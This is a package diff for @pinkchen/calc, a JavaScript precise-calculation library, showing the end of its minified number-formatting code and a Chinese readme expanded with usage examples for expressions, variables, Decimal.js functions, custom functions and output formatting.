p=p.toNumber(),f&&(p=nZ(p).times(100)),l&&(p=nZ(p).times(1e3)),c&&(p=nZ(p).toFixed(c)),u&&(p=p.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(f||l)&&(p+=f?" %":" ‰"),h&&(p="".concat(h," ")+p.toString()),a&&(p=p.toString()+" ".concat(a)),p}catch(n){throw Error('@pinkchen/calc: exec "'.concat(t,'" error, ')+n.message)}});var n$="1.0.4",nB=nI.calc;return e}()});
|
package/package.json
CHANGED
package/readme.md
CHANGED
|
@@ -1,8 +1,14 @@
|
|
|
1
1
|
# @pinkchen/calc
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
前端精确计算终极解决方案, 精确计算、轻量、便捷、计算公式易维护、集成 Decimal 数学函数,支持自定义函数,一应俱全。
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## 优势
|
|
6
|
+
|
|
7
|
+
1. 💪 支持精确计算
|
|
8
|
+
2. 🎈 轻量,体积小
|
|
9
|
+
3. 🚀 便捷,支持 es,cjs,umd
|
|
10
|
+
4. 🔢 集成 Decimal 内部数学函数
|
|
11
|
+
5. ⚒️ 支持自定义函数,全方面满足定制化需求
|
|
6
12
|
|
|
7
13
|
## 文档地址
|
|
8
14
|
|
|
@@ -46,33 +52,66 @@ import { calc } from '@pinkchen/calc';
|
|
|
46
52
|
|
|
47
53
|
## 具体使用
|
|
48
54
|
|
|
55
|
+
### 普通计算
|
|
56
|
+
|
|
57
|
+
```js
|
|
58
|
+
calc('0.1+0.2'); //0.3
|
|
59
|
+
calc('22.22*22.22'); //493.7284
|
|
60
|
+
calc('(22.22*22.22)'); //493.7284
|
|
61
|
+
calc('1 + 2 * (3 - 4 * (5 + 6))'); //-81
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### 带数据源计算
|
|
65
|
+
|
|
66
|
+
```js
|
|
67
|
+
calc('1+22.22/(22.22+a)', { a: 22.22 }); //1.5
|
|
68
|
+
calc('a*b', { a: 11, b: 22 }); //242
|
|
69
|
+
calc('1+a*b', { a: 11, b: 22 }); //243
|
|
70
|
+
calc('aa*bb.bb', { aa: 22, b: 22, bb: { bb: 33 } }); //726
|
|
71
|
+
calc('oo.a+oo.b*(oo.c-oo.d.d*(oo.e.e+oo.ff))', { oo: { a: 1, b: 2, c: 3, d: { d: 4 }, e: { e: 5 }, ff: 6 } }); //-81
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### 带函数计算
|
|
75
|
+
|
|
76
|
+
内部集成了 Decimal.js 中的静态数学函数,函数参见[Decimal.js](https://mikemcl.github.io/decimal.js/#methods)
|
|
77
|
+
|
|
78
|
+
内置函数也可以使用形如:DC.max(1,2)的方式
|
|
79
|
+
|
|
80
|
+
```js
|
|
81
|
+
calc('max(a+b,0.3)', { a: 0.1, b: 0.2 }); //0.3
|
|
82
|
+
calc('1+DC.max(a+b,0.3)', { a: 0.1, b: 0.2 }); //1.3
|
|
83
|
+
calc('1+abs(-1-a-1)', { a: -1 }); //2
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### 自定义函数支持
|
|
87
|
+
|
|
88
|
+
只需要在数据源中注入自定义函数,即可完成定制化
|
|
89
|
+
|
|
90
|
+
```js
|
|
91
|
+
calc('a+max(getSum(a,b)+1, a+c, a+111/(d*e))', { a: 11, b: 12, c: 133, d: 14, e: 15, getSum: (a, b) => a + b }); //155
|
|
92
|
+
calc('a+getSum(max(a*b, a+b), b)', { a: 1, b: 2, getSum: (a, b) => a + b }); //6
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
<span style="color:red;font-size: 20px;">❗❗❗ 注意:不论是内置函数还是自定义函数,所有参数都会使用 Decimal 做转换,所以自定义函数体内部请按照数字来处理参数</span>
|
|
96
|
+
|
|
97
|
+
### 格式化处理
|
|
98
|
+
|
|
49
99
|
```js
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
'2222.22*2222.22',
|
|
68
|
-
{},
|
|
69
|
-
{
|
|
70
|
-
separator: true,
|
|
71
|
-
digit: 6,
|
|
72
|
-
preUnit: '达到',
|
|
73
|
-
postUnit: '结丹率',
|
|
74
|
-
percentage: true,
|
|
75
|
-
}
|
|
76
|
-
)
|
|
77
|
-
); //达到 49,382.617284 % 结丹率
|
|
100
|
+
calc('2222.22*2222.22', {}, { separator: true }); //4,938,261.7284
|
|
101
|
+
calc('2222.22*2222.22', {}, { digit: 6 }); //4938261.728400
|
|
102
|
+
calc('2222.22*2222.22', {}, { preUnit: '$' }); //$ 4938261.7284
|
|
103
|
+
calc('2222.22*2222.22', {}, { postUnit: 'USD' }); //4938261.7284 USD
|
|
104
|
+
calc('2222.22*2222.22', {}, { percentage: true }); //49382.617284 %
|
|
105
|
+
calc('2222.22*2222.22', {}, { permillage: true }); //4938.2617284 ‰
|
|
106
|
+
calc(
|
|
107
|
+
'99.999999/100',
|
|
108
|
+
{},
|
|
109
|
+
{
|
|
110
|
+
separator: true,
|
|
111
|
+
digit: 6,
|
|
112
|
+
preUnit: '您的技术水平超越了',
|
|
113
|
+
postUnit: '的同行',
|
|
114
|
+
percentage: true,
|
|
115
|
+
}
|
|
116
|
+
); //您的技术水平超越了 10.000000 % 的同行
|
|
78
117
|
```
|